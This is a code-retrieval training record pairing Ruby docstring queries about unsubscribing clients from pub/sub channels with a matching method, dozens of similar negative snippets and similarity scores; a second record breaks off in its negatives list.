unsubscribes all clients subscribed to a channel
|
def unsubscribe_clients(channel)
send_action('unsubscribe_clients', channel)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end",
"def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end",
"def unsubscribe(*channels); end",
"def unsubscribe_from_channel; end",
"def punsubscribe(*channels); end",
"def unsubscribe_from_channel # :nodoc:\n run_callbacks :unsubscribe do\n unsubscribed\n end\n end",
"def unsubscribe\n check_subscribed!\n subscription.unsubscribe_from_channel\n end",
"def unsubscribe(*channels)\n _subscription(:unsubscribe, 0, channels, nil)\n end",
"def unsubscribed\n stop_all_streams\n end",
"def unsubscribe(*args)\n (@client ||= connect).unsubscribe(*args)\n end",
"def unsubscribe\n @conn.send_data :opcode => UNSUBSCRIBE, :channel => @name\n end",
"def unsubscribe(*channels)\n raise SubscriptionError, \"Can't unsubscribe if not subscribed.\" unless subscribed?\n\n @subscribed_node.unsubscribe(*channels)\n end",
"def delete_observers\n @sub_lock.synchronize { subscribers.delete channel }\n end",
"def unsubscribed\n end",
"def unsubscribed\n end",
"def unsubscribe_webhook\n if @redis\n @redis.pubsub.unsubscribe(subscribed_channel)\n @redis.close_connection\n end\n end",
"def unsubscribe(channel)\n @ws.send(get_unsubscribe_object(channel, increment_cnt).to_json)\n @channels.delete(channel)\n end",
"def unsubscribed\n\tend",
"def punsubscribe(*channels)\n _subscription(:punsubscribe, 0, channels, nil)\n end",
"def unsubscribe\n redis.unsubscribe\n end",
"def punsubscribe(*channels)\n raise NotImplementedError\n end",
"def unsubscribed # :doc:\n # Override in subclasses\n end",
"def unsubscribe_all(domain, jid)\n jid = JID.new(jid)\n redis.smembers(\"pubsub:#{domain}:subscriptions_#{jid}\") do |nodes|\n nodes.each do |node|\n unsubscribe(domain, node, jid)\n end\n end\n end",
"def unsubscribed; end",
"def all\n get(\"#{domain}/unsubscribes\")\n end",
"def unsubscribe_all\n send_action('unsubscribe_all')\n end",
"def unsubscribe\n subscriptions.values.each(&:unsubscribe)\n @on_unsubscribe.call(self) if @on_unsubscribe\n end",
"def unsubscribe(client_id, channel_symbols, options = {})\n channel_symbols = [channel_symbols] unless channel_symbols.is_a? Array\n\n channel_subscriber_ids = []\n subscriptions_hash = @channel_subscriptions[client_id] ||= {}\n\n unless (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_s]).empty? && (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_sym]).empty?\n # If :_all_ (symbol) or '_all_' (string) is given as channel_symbols...\n channel_symbols = subscriptions_hash.keys\n end\n\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n if !subscriptions_hash[channel_symbol].nil?\n # Only if the client is subscribed...\n\n channel_subscriber_id = subscriptions_hash[channel_symbol]\n @channels[channel_symbol].unsubscribe(channel_subscriber_id)\n subscriptions_hash.delete(channel_symbol)\n @channel_subscribers[channel_symbol].delete(client_id)\n channel_subscriber_ids << channel_subscriber_id\n\n # Must also be sent to the client directly (via web socket) in order that it receives the unsubscribe notification...\n notify(:type => :debug, :code => 2020, :receivers => [@qsif[:client_manager].web_socket(:client_id => client_id), @channels[channel_symbol]], :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s, :channel_subscriber_id => channel_subscriber_id})\n else\n notify(:type => :error, :code => 2021, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s})\n end\n end\n\n return channel_subscriber_ids\n end",
"def unsubscribed\n # This will broadcast that user unsubscribed but the frontend will not receive the final broadcast\n p '**** ChatChannel unsubscribed'\n notification = {notification: 'User X has dropped off'}\n # ActionCable.server.broadcast(params[:room], notification)\n send_broadcast(params[:room], notification)\n end",
"def unsubscribe()\n end",
"def unsubscribed\n if current_user.is_a?(User)\n\n # if @userType == \"known\"\n ActionCable.server.broadcast \"AppearanceChannel\", { user: current_user.email, user_id: current_user.id, online: :off }\n # else\n # reject\n end\n # stop_all_streams\n # Any cleanup needed when channel is unsubscribed\n end",
"def unsubscribe(channel)\n send_action('unsubscribe', channel)\n end",
"def unsubscribe_all(listener)\n if @subscriptions\n @subscriptions.keys.each do |event|\n unsubscribe(event, listener)\n end\n end\n end",
"def unsubscribe( channel, callback )\n if @channels.include? channel\n @channels[channel].delete(callback)\n end\n if @channels[channel].empty?\n @client.unsubscribe channel\n @channels.delete(channel)\n end\n end",
"def unsubscribe; end",
"def unsubscrible\n NewsletterMailer.unsubscrible\n end",
"def unsubscribes(options={})\n Resources::Unsubscribes.new(self, options)\n end",
"def unsubscribe(*topics)\n # FIXME: make sure @connection isn't nil\n @connection.unsubscribe(*topics)\n end",
"def unsubscribe(channels_string)\n channels = channels_string.split\n\n channels.each do |channel|\n queue_name = @subscriptions[channel]\n \n if queue_name\n queue = @session.queue(queue_name)\n if queue.exists?\n queue.unbind(@exchange, routing_key: \"#{channel}.*\")\n queue.unsubscribe\n @subscriptions.delete(channel)\n else\n puts \"The #{channel} channel does not exist.\"\n end\n end\n end\n end",
"def unsubscribe(client_id, channel, &callback)\n unless @subscriptions.containsEntry(client_id, channel)\n callback.call(true) if callback\n return\n end\n @subscriptions.remove(client_id, channel)\n @channels.remove(channel, client_id)\n @server.debug 'Unsubscribed client ? from channel ?', client_id, channel\n @server.trigger(:unsubscribe, client_id, channel)\n callback.call(true)\n end",
"def unsubscribe(host)\n pubsub.subscriptions(host) do |m|\n m[:subscribed] && m[:subscribed].each do |s|\n pubsub.unsubscribe(s[:node], nil, s[:subid], host, &callback_logging(__method__, s[:node], s[:subid]))\n end\n end\n end",
"def close\n subscriptions.keys.each do |id| \n channel, sig = id.to_a.flatten\n Channel[app_id => channel].unsubscribe(subscriptions.delete(channel => sig))\n end\n end",
"def unsubscribe(course)\n subscribeds.delete(course)\n end",
"def unsubscribe(*topics)\n # Defer unsubscribing until we are connected\n callback do\n send_packet(\n MQTT::Packet::Unsubscribe.new(\n :topics => topics,\n :message_id => @message_id.next\n )\n )\n end\n end",
"def unsubscribe\n return if self.hub.nil?\n\n change_subscription(:unsubscribe)\n end",
"def unsubscribe\n end",
"def unsubscribeack(channel, ack)\n @ws.send(get_unsubscribe_object(channel, increment_cnt).to_json)\n @channels.delete(channel)\n @acks[@cnt] = [channel, ack]\n end",
"def subscriptions\n @subscriptions ||= Hash.new do |subscriptions, channel|\n # Setup the hash to generate subscriptions that can delete themselves from\n # their own collection on an unsubscription event.\n subscription = Subscription.new(self, channel)\n subscription.on_unsubscribe do\n # Remove the subscription from the consumer.subscriptions \n # list when unsubscribe.\n subscriptions.delete channel\n end\n subscriptions[channel] = subscription\n end\n end",
"def unsubscribe(channel, connection)\n if sid = subscriptions.delete(channel => connection.signature)\n Channel[app_id => channel].unsubscribe(sid)\n end\n end",
"def unsubscribe()\n \n end",
"def unsubscribe_all_pubsub(domain, jid)\n @pubsub.unsubscribe_all(domain, jid)\n end",
"def unsubscribe(aSubscriber)\n subscribers.delete_if { |entry| entry == aSubscriber }\n end",
"def subscribe_channels\n @channels.each { |channel| subscribe(channel) }\n end",
"def unsubscribe(user)\n @clients.delete(user.signature)\n self.class.remove_channel(self) if empty?\n end",
"def unsubscribe\n @entry.subscribers.delete(current_user)\n end",
"def disconnect(channel)\r\n $LOG.info(\"Disconnecting from #{channel} channel.\")\r\n @pubNub.unsubscribe(\r\n :channel => @channel,\r\n :http_sync => true\r\n )\r\n end",
"def disconnect_all_users( msg )\n\t\t@users.each do |user|\n\t\t\t@reactor.unregister( user.socket )\n\t\t\tuser.disconnect( msg )\n\t\tend\n\t\t@users.clear\n\tend",
"def cleanup_after_unsubscribe(channel)\n return if channel.listeners_count > 0\n logger.debug \"destroying channel #{channel.name}\"\n @channels.delete channel.name\n stat_channel_destroyed channel.name\n destroy if @channels.size == 0\n end",
"def unsubscribe_from_notifications(client, collection)\n mirror = client.discovered_api('mirror', 'v1')\n result = client.execute(\n :api_method => mirror.subscriptions.delete,\n :parameters => { 'id' => collection })\n if result.error?\n puts \"An error occurred: #{result.data['error']['message']}\"\n end\n end",
"def unsubscribed\n User.find(current_user.id).update(online: false)\n ActionCable.server.broadcast(\n 'appearance_channel',\n user_id: current_user.id,\n is_online: false\n )\n end",
"def part_all()\n @channels.clear()\n end",
"def disconnectAllUsers( msg )\n\t\t@users.each {|user|\n\t\t\t@reactor.unregister( user.socket )\n\t\t\tuser.disconnect( msg )\n\t\t}\n\t\t@users.clear\n\tend",
"def unsubscribe( publication )\n subscriptions.by_publication( publication ).delete_all\n end",
"def unsubscribe(source)\n Log.debug(\"Unsubscribing from #{source}\")\n @connection.unsubscribe(source)\n @subscriptions.delete(source)\n end",
"def unsubscribe\n raise UnsubscribedError\n end",
"def unsubscribe(cls)\n @subscribers.delete(name)\n end",
"def unsubscribe\n unregister\n end",
"def clear\n channels = @channels.dup\n @channels.clear\n channels\n end",
"def clear_subs\n instagram_client.subscriptions.each do |sub|\n instagram_client.delete_subscription(id: sub.id)\n end\n\n redirect_to list_subs_path\n end",
"def unsubscribe!\n @consumer.try(:cancel)\n @consumer = nil\n end",
"def unsubscribe_from_all(id_or_email)\n make_json_api_request :post, \"v2/#{account_id}/subscribers/#{CGI.escape id_or_email}/unsubscribe_all\"\n end",
"def unsubscribed\n @room.remove_user(current_user)\n\n # Inform the other players that this player has left.\n broadcast_users_changed\n end",
"def subscribe(*channels, &block); end",
"def disconnect\n @thread.exit\n @client.disconnect\n @channels.clear\n end",
"def unsubscribe(topic, channel)\n name = \"#{topic}:#{channel}\"\n @subscriber_mutex.synchronize do\n subscriber = @subscribers[name]\n return unless subscriber\n subscriber.stop\n @subscribers.delete(name)\n end\n end",
"def unsubscribe_all\n # Get an array of all the email addresses accociated with this devise class.\n emails = all.map(&:email).select {|e| Devise::Models::Campaignable.valid_campaign_email? e}\n\n # Ask the list managed to subscibe all of these emails.\n list_manager.batch_unsubscribe(emails) \n end",
"def unsubscribe\n @subscription_reference.unsubscribe\n end",
"def unsubscribed\n @chatroom = Chatroom.find(params[:id])\n @chatroom.unsubscribe()\n end",
"def unsubscribe_subscribers(subscribers)\n url = \"v2/#{account_id}/unsubscribes/batches\"\n make_json_api_request :post, url, private_generate_resource(\"batches\", { \"subscribers\" => subscribers })\n end",
"def unsubscribe(message, local = false, &callback)\n response = make_response(message)\n client_id = message['clientId']\n subscription = [message['subscription']].flatten\n\n @engine.client_exists(client_id) do |exists|\n response['error'] = Error.client_unknown(client_id) unless exists\n response['error'] = Error.parameter_missing('clientId') if client_id.nil?\n response['error'] = Error.parameter_missing('subscription') if message['subscription'].nil?\n\n response['subscription'] = message['subscription'] || []\n\n subscription.each do |channel|\n next if response['error']\n response['error'] = Error.channel_forbidden(channel) unless local or Channel.subscribable?(channel)\n response['error'] = Error.channel_invalid(channel) unless Channel.valid?(channel)\n\n next if response['error']\n @engine.unsubscribe(client_id, channel)\n end\n\n response['successful'] = response['error'].nil?\n callback.call(response)\n end\n end",
"def unsubscribe\n subscription = nil\n @gate.synchronize do\n if @subscription\n unless @primary_unsubscribed\n @primary_unsubscribed = true\n\n if @count == 0\n subscription = @subscription\n @subscription = nil\n end\n end\n end\n end\n\n subscription.unsubscribe if subscription\n end",
"def delete(channels)\n\treturn if not channels.is_a? Array #meh\n\tcurChannels = readCurrentChannels()\n\tcurChannels.reject! { |e| channels.include? e.downcase }\n\twriteChannels(curChannels)\nend",
"def unsubscribe_pubsub(jid)\n @pubsubs.values.each do |pubsub|\n pubsub.unsubscribe_all(jid)\n end\n end",
"def destroy_channels(client_id, channel_symbols, options = {})\n channel_symbols = [channel_symbols] unless channel_symbols.is_a? Array\n\n client_ids_to_be_unsubscribed = []\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n client_ids_to_be_unsubscribed << @channel_subscribers[channel_symbol] unless @channel_subscribers[channel_symbol].nil?\n end\n client_ids_to_be_unsubscribed = client_ids_to_be_unsubscribed.flatten.uniq\n\n client_ids_to_be_unsubscribed.each do |client_id|\n unsubscribe(client_id, channel_symbols)\n end\n\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n if INVALID_CHANNEL_NAMES_FOR_CREATION_AND_DESTRUCTION.include?(channel_symbol)\n notify(:type => :error, :code => 2051, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol})\n next\n end\n if @channels[channel_symbol]\n subscriber = @channel_subscribers[channel_symbol]\n if subscriber\n @channel_subscriptions[subscriber].delete(channel_symbol) if @channel_subscriptions[subscriber]\n @channel_subscribers.delete(channel_symbol)\n end\n @channels.delete(channel_symbol)\n notify(:type => :debug, :code => 2050, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol})\n else\n notify(:type => :error, :code => 2052, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol})\n end\n end\n end",
"def stop\n consumers.values.each(&:unsubscribe)\n end",
"def delete_subscriptions\n end",
"def unsubscribe(event)\n has_subscriptions.find_by(subscribed_id: event.id).destroy\n end",
"def unsubscribe(ident)\n @subscribers.delete(ident)\n end",
"def unsubscribe_from_list(user, list)\n delete(\"/#{user}/#{list}/subscribers.json\")\n end",
"def unsubscribe(source)\n #TODO\n end",
"def unsubscribe(object)\n subscriptions.delete(remote_object(object))\n end",
"def unsubscribe(subscribable)\n subscribable.unsubscribe(self)\n end",
"def unsubscribeTo (event)\r\n @subscribedEvents.delete?(event)\r\n end",
"def unsubscribe\n if @subscriber\n @subscriber.stream.close\n @subscriber = nil\n end\n end",
"def unsubscribes(date, page=1, page_size=1000, order_field=\"date\", order_direction=\"asc\")\n options = { :query => { \n :date => date,\n :page => page,\n :pagesize => page_size,\n :orderfield => order_field,\n :orderdirection => order_direction } }\n response = get \"unsubscribes\", options\n Hashie::Mash.new(response)\n end",
"def subscriptions\n @channels\n end",
"def unsubscribe!\n message_class = whoami\n\n debug_me{[ :message_class ]}\n\n broker.unsubscribe!(message_class) if broker_configured?\n end",
"def unsubscribe\n CampaignMonitorWrapper.unsubscribe(user.email)\n end",
"def stop\n subscriptions.each { |n, v| unsubscribe(n) }\n\n @amqp.close\n end",
"def channel_ids_to_remove\n @channel_ids_to_remove ||= begin\n cids = []\n if self.respond_to?(:message)\n cids << self.try(:message).try(:channel).try(:id)\n Array(self.message&.channel&.sibling_channel_ids).each do |cid|\n cids << cid unless channel_ids_to_add.include?(cid)\n end\n end\n cids\n end\n end"
] |
[
"0.77854276",
"0.77854276",
"0.7680194",
"0.7469042",
"0.74636924",
"0.7463368",
"0.7217584",
"0.71967125",
"0.70995325",
"0.7059307",
"0.7048241",
"0.699649",
"0.6902584",
"0.6890386",
"0.6890386",
"0.6877078",
"0.6845015",
"0.67963475",
"0.6792432",
"0.6766172",
"0.67391133",
"0.6737973",
"0.6731868",
"0.67120594",
"0.66899836",
"0.668864",
"0.66366076",
"0.6633308",
"0.65936685",
"0.65890384",
"0.65740514",
"0.6573074",
"0.6571561",
"0.6555819",
"0.65180945",
"0.6503101",
"0.6479172",
"0.6476018",
"0.64695936",
"0.64630246",
"0.64597815",
"0.6459038",
"0.6454436",
"0.6452322",
"0.6425118",
"0.6401418",
"0.6374696",
"0.63703597",
"0.635484",
"0.6298362",
"0.62821686",
"0.62744135",
"0.6274336",
"0.6271508",
"0.62683654",
"0.625572",
"0.624687",
"0.6214166",
"0.6212766",
"0.6212417",
"0.62077683",
"0.6205929",
"0.61908257",
"0.6182275",
"0.6153914",
"0.6149586",
"0.6145141",
"0.61421436",
"0.61342585",
"0.6106392",
"0.6104997",
"0.6055086",
"0.60393876",
"0.6035563",
"0.6025704",
"0.60183984",
"0.60095847",
"0.5999755",
"0.5990872",
"0.59785134",
"0.59736735",
"0.5972062",
"0.59717625",
"0.59688514",
"0.5957387",
"0.5944221",
"0.59410423",
"0.5918381",
"0.59050393",
"0.59011",
"0.5893275",
"0.58906955",
"0.5889394",
"0.587546",
"0.58753556",
"0.5873455",
"0.5862885",
"0.5857304",
"0.5856423",
"0.5855021"
] |
0.8085907
|
0
|
unsubscribes all clients from all channels
|
def unsubscribe_all
send_action('unsubscribe_all')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end",
"def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end",
"def unsubscribe(*channels); end",
"def unsubscribe_clients(channel)\n send_action('unsubscribe_clients', channel)\n end",
"def unsubscribed\n stop_all_streams\n end",
"def punsubscribe(*channels); end",
"def unsubscribe_from_channel; end",
"def unsubscribe(*channels)\n _subscription(:unsubscribe, 0, channels, nil)\n end",
"def disconnect_all_users( msg )\n\t\t@users.each do |user|\n\t\t\t@reactor.unregister( user.socket )\n\t\t\tuser.disconnect( msg )\n\t\tend\n\t\t@users.clear\n\tend",
"def unsubscribe(*args)\n (@client ||= connect).unsubscribe(*args)\n end",
"def all\n get(\"#{domain}/unsubscribes\")\n end",
"def unsubscribed\n end",
"def unsubscribed\n end",
"def part_all()\n @channels.clear()\n end",
"def unsubscribe\n @conn.send_data :opcode => UNSUBSCRIBE, :channel => @name\n end",
"def disconnectAllUsers( msg )\n\t\t@users.each {|user|\n\t\t\t@reactor.unregister( user.socket )\n\t\t\tuser.disconnect( msg )\n\t\t}\n\t\t@users.clear\n\tend",
"def delete_observers\n @sub_lock.synchronize { subscribers.delete channel }\n end",
"def unsubscribe_all(listener)\n if @subscriptions\n @subscriptions.keys.each do |event|\n unsubscribe(event, listener)\n end\n end\n end",
"def unsubscribe_all(domain, jid)\n jid = JID.new(jid)\n redis.smembers(\"pubsub:#{domain}:subscriptions_#{jid}\") do |nodes|\n nodes.each do |node|\n unsubscribe(domain, node, jid)\n end\n end\n end",
"def unsubscribed; end",
"def unsubscribed\n\tend",
"def unsubscribe_from_channel # :nodoc:\n run_callbacks :unsubscribe do\n unsubscribed\n end\n end",
"def unsubscribe(*channels)\n raise SubscriptionError, \"Can't unsubscribe if not subscribed.\" unless subscribed?\n\n @subscribed_node.unsubscribe(*channels)\n end",
"def unsubscribed # :doc:\n # Override in subclasses\n end",
"def unsubscribe\n check_subscribed!\n subscription.unsubscribe_from_channel\n end",
"def close\n subscriptions.keys.each do |id| \n channel, sig = id.to_a.flatten\n Channel[app_id => channel].unsubscribe(subscriptions.delete(channel => sig))\n end\n end",
"def punsubscribe(*channels)\n raise NotImplementedError\n end",
"def unsubscribe()\n end",
"def unsubscribe\n redis.unsubscribe\n end",
"def punsubscribe(*channels)\n _subscription(:punsubscribe, 0, channels, nil)\n end",
"def unsubscribe; end",
"def unsubscribe\n subscriptions.values.each(&:unsubscribe)\n @on_unsubscribe.call(self) if @on_unsubscribe\n end",
"def unsubscribe(*topics)\n # FIXME: make sure @connection isn't nil\n @connection.unsubscribe(*topics)\n end",
"def unsubscribe(*topics)\n # Defer unsubscribing until we are connected\n callback do\n send_packet(\n MQTT::Packet::Unsubscribe.new(\n :topics => topics,\n :message_id => @message_id.next\n )\n )\n end\n end",
"def unsubscribe_webhook\n if @redis\n @redis.pubsub.unsubscribe(subscribed_channel)\n @redis.close_connection\n end\n end",
"def unsubscrible\n NewsletterMailer.unsubscrible\n end",
"def clear\n channels = @channels.dup\n @channels.clear\n channels\n end",
"def unsubscribe_all_pubsub(domain, jid)\n @pubsub.unsubscribe_all(domain, jid)\n end",
"def unsubscribe\n end",
"def unsubscribed\n if current_user.is_a?(User)\n\n # if @userType == \"known\"\n ActionCable.server.broadcast \"AppearanceChannel\", { user: current_user.email, user_id: current_user.id, online: :off }\n # else\n # reject\n end\n # stop_all_streams\n # Any cleanup needed when channel is unsubscribed\n end",
"def subscribe_channels\n @channels.each { |channel| subscribe(channel) }\n end",
"def unsubscribes(options={})\n Resources::Unsubscribes.new(self, options)\n end",
"def unsubscribed\n # This will broadcast that user unsubscribed but the frontend will not receive the final broadcast\n p '**** ChatChannel unsubscribed'\n notification = {notification: 'User X has dropped off'}\n # ActionCable.server.broadcast(params[:room], notification)\n send_broadcast(params[:room], notification)\n end",
"def unsubscribe()\n \n end",
"def unsubscribe_all\n # Get an array of all the email addresses accociated with this devise class.\n emails = all.map(&:email).select {|e| Devise::Models::Campaignable.valid_campaign_email? e}\n\n # Ask the list managed to subscibe all of these emails.\n list_manager.batch_unsubscribe(emails) \n end",
"def disconnect_all\n @connections.clear\n @readers.clear\n end",
"def clear_subs\n instagram_client.subscriptions.each do |sub|\n instagram_client.delete_subscription(id: sub.id)\n end\n\n redirect_to list_subs_path\n end",
"def disconnect\n @thread.exit\n @client.disconnect\n @channels.clear\n end",
"def unsubscribe_from_notifications(client, collection)\n mirror = client.discovered_api('mirror', 'v1')\n result = client.execute(\n :api_method => mirror.subscriptions.delete,\n :parameters => { 'id' => collection })\n if result.error?\n puts \"An error occurred: #{result.data['error']['message']}\"\n end\n end",
"def reset_all_channels\n @channels = {}\n end",
"def stop\n consumers.values.each(&:unsubscribe)\n end",
"def unsubscribe_from_all(id_or_email)\n make_json_api_request :post, \"v2/#{account_id}/subscribers/#{CGI.escape id_or_email}/unsubscribe_all\"\n end",
"def disconnect_all\n @cache.values.map(&:clear_all_connections!)\n end",
"def remove_all_clients\n @clients = Array.new\n end",
"def unsubscribe\n return if self.hub.nil?\n\n change_subscription(:unsubscribe)\n end",
"def delete_subscriptions\n end",
"def unsubscribe(host)\n pubsub.subscriptions(host) do |m|\n m[:subscribed] && m[:subscribed].each do |s|\n pubsub.unsubscribe(s[:node], nil, s[:subid], host, &callback_logging(__method__, s[:node], s[:subid]))\n end\n end\n end",
"def unsubscribed\n @room.remove_user(current_user)\n\n # Inform the other players that this player has left.\n broadcast_users_changed\n end",
"def send_logouts_to_all_clients\n @@clients.each do |client|\n client.logout_request\n end\n end",
"def unsubscribe(client_id, channel_symbols, options = {})\n channel_symbols = [channel_symbols] unless channel_symbols.is_a? Array\n\n channel_subscriber_ids = []\n subscriptions_hash = @channel_subscriptions[client_id] ||= {}\n\n unless (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_s]).empty? && (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_sym]).empty?\n # If :_all_ (symbol) or '_all_' (string) is given as channel_symbols...\n channel_symbols = subscriptions_hash.keys\n end\n\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n if !subscriptions_hash[channel_symbol].nil?\n # Only if the client is subscribed...\n\n channel_subscriber_id = subscriptions_hash[channel_symbol]\n @channels[channel_symbol].unsubscribe(channel_subscriber_id)\n subscriptions_hash.delete(channel_symbol)\n @channel_subscribers[channel_symbol].delete(client_id)\n channel_subscriber_ids << channel_subscriber_id\n\n # Must also be sent to the client directly (via web socket) in order that it receives the unsubscribe notification...\n notify(:type => :debug, :code => 2020, :receivers => [@qsif[:client_manager].web_socket(:client_id => client_id), @channels[channel_symbol]], :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s, :channel_subscriber_id => channel_subscriber_id})\n else\n notify(:type => :error, :code => 2021, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s})\n end\n end\n\n return channel_subscriber_ids\n end",
"def destroy\n subscribers.each do |name, subscriber|\n subscriber.destroy\n end\n end",
"def unsubscribe\n unregister\n end",
"def send_logouts_to_all_clients\n @@clients.each do |client|\n client.logout_request if !client.sent_logout?\n end\n end",
"def subscriptions!\n @subscriptions = nil\n subscriptions\n end",
"def unobserve_all_observables\n registrations.values.dup.each do |registration|\n registration.deregister\n registrations.delete([registration.observable.object_id, registration.args])\n end\n end",
"def unsubscribe(cls)\n @subscribers.delete(name)\n end",
"def unsubscribe(channels_string)\n channels = channels_string.split\n\n channels.each do |channel|\n queue_name = @subscriptions[channel]\n \n if queue_name\n queue = @session.queue(queue_name)\n if queue.exists?\n queue.unbind(@exchange, routing_key: \"#{channel}.*\")\n queue.unsubscribe\n @subscriptions.delete(channel)\n else\n puts \"The #{channel} channel does not exist.\"\n end\n end\n end\n end",
"def unsubscribed\n User.find(current_user.id).update(online: false)\n ActionCable.server.broadcast(\n 'appearance_channel',\n user_id: current_user.id,\n is_online: false\n )\n end",
"def delete(channels)\n\treturn if not channels.is_a? Array #meh\n\tcurChannels = readCurrentChannels()\n\tcurChannels.reject! { |e| channels.include? e.downcase }\n\twriteChannels(curChannels)\nend",
"def clear_all_callbacks!\n disconnect!\n clear_callbacks!\n end",
"def unsubscribe\n raise UnsubscribedError\n end",
"def destroy_clients\n Client.destroy_all if has_different_client_uid?\n end",
"def unsubscribe_subscribers(subscribers)\n url = \"v2/#{account_id}/unsubscribes/batches\"\n make_json_api_request :post, url, private_generate_resource(\"batches\", { \"subscribers\" => subscribers })\n end",
"def unsubscribe(user)\n @clients.delete(user.signature)\n self.class.remove_channel(self) if empty?\n end",
"def subscriptions\n @subscriptions ||= Hash.new do |subscriptions, channel|\n # Setup the hash to generate subscriptions that can delete themselves from\n # their own collection on an unsubscription event.\n subscription = Subscription.new(self, channel)\n subscription.on_unsubscribe do\n # Remove the subscription from the consumer.subscriptions \n # list when unsubscribe.\n subscriptions.delete channel\n end\n subscriptions[channel] = subscription\n end\n end",
"def unsubscribe\n @entry.subscribers.delete(current_user)\n end",
"def stop\n subscriptions.each { |n, v| unsubscribe(n) }\n\n @amqp.close\n end",
"def disconnect!() @connections.each_value(&:disconnect) end",
"def unsubscribe_pubsub(jid)\n @pubsubs.values.each do |pubsub|\n pubsub.unsubscribe_all(jid)\n end\n end",
"def unsubscribe_from_list(user, list)\n delete(\"/#{user}/#{list}/subscribers.json\")\n end",
"def subscribe(*channels, &block); end",
"def clear_all_connections!\n disconnect_read_pool!\n @original_handler.clear_all_connections!\n end",
"def unsubscribe( publication )\n subscriptions.by_publication( publication ).delete_all\n end",
"def unsubscribe(source)\n Log.debug(\"Unsubscribing from #{source}\")\n @connection.unsubscribe(source)\n @subscriptions.delete(source)\n end",
"def unsubscribe(course)\n subscribeds.delete(course)\n end",
"def unsubscribed\n @chatroom = Chatroom.find(params[:id])\n @chatroom.unsubscribe()\n end",
"def unbind\n client = $clients_list.delete(self.object_id)\n \n $clients_list.values.each do |c|\n send_client_disconnect(c, client) if c.socket != self\n end\n \n end",
"def destroy_channels(client_id, channel_symbols, options = {})\n channel_symbols = [channel_symbols] unless channel_symbols.is_a? Array\n\n client_ids_to_be_unsubscribed = []\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n client_ids_to_be_unsubscribed << @channel_subscribers[channel_symbol] unless @channel_subscribers[channel_symbol].nil?\n end\n client_ids_to_be_unsubscribed = client_ids_to_be_unsubscribed.flatten.uniq\n\n client_ids_to_be_unsubscribed.each do |client_id|\n unsubscribe(client_id, channel_symbols)\n end\n\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n if INVALID_CHANNEL_NAMES_FOR_CREATION_AND_DESTRUCTION.include?(channel_symbol)\n notify(:type => :error, :code => 2051, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol})\n next\n end\n if @channels[channel_symbol]\n subscriber = @channel_subscribers[channel_symbol]\n if subscriber\n @channel_subscriptions[subscriber].delete(channel_symbol) if @channel_subscriptions[subscriber]\n @channel_subscribers.delete(channel_symbol)\n end\n @channels.delete(channel_symbol)\n notify(:type => :debug, :code => 2050, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol})\n else\n notify(:type => :error, :code => 2052, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol})\n end\n end\n end",
"def unsubscribe!\n @consumer.try(:cancel)\n @consumer = nil\n end",
"def unsubscribe(channel)\n @ws.send(get_unsubscribe_object(channel, increment_cnt).to_json)\n @channels.delete(channel)\n end",
"def subscribe_all\n @config.subscriptions.size.times do\n current\n select_next_consumer\n end\n end",
"def subscriptions\n @channels\n end",
"def unsubscribe(source)\n #TODO\n end",
"def close\n @subscriptions.each(&:cancel)\n @subscriptions.clear\n end",
"def clear\n connections.synchronize do\n connections.map(&:last).each(&closer)\n connections.clear\n end\n end",
"def batch_unsubscribe(emails=[])\n # Do this using a batch call to the MailChimp API for performance rather than lots of single API calls.\n api.batch_unsubscribe({\n \t:id => @campaignable_list_id,\n :batch => emails.map {|email| {:email => { :email => email }} }, # Map all users in the system into a mailchimp collcation.\n :send_goodbye => false, # Don't send a goodbye email.\n :send_notify => false # Don't notify the user of the unsubscription. \n })\n end",
"def unsubscribe(aSubscriber)\n subscribers.delete_if { |entry| entry == aSubscriber }\n end",
